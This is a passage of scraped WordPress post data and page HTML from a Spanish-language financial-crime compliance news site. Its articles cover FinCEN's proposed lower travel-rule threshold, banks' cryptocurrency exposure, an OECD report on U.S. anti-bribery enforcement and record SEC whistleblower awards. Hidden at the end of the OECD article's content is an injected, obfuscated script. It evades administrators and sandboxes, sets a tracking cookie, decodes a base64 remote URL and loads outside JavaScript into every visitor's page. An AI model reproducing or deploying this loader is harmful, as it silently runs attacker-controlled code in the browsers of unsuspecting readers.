Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span 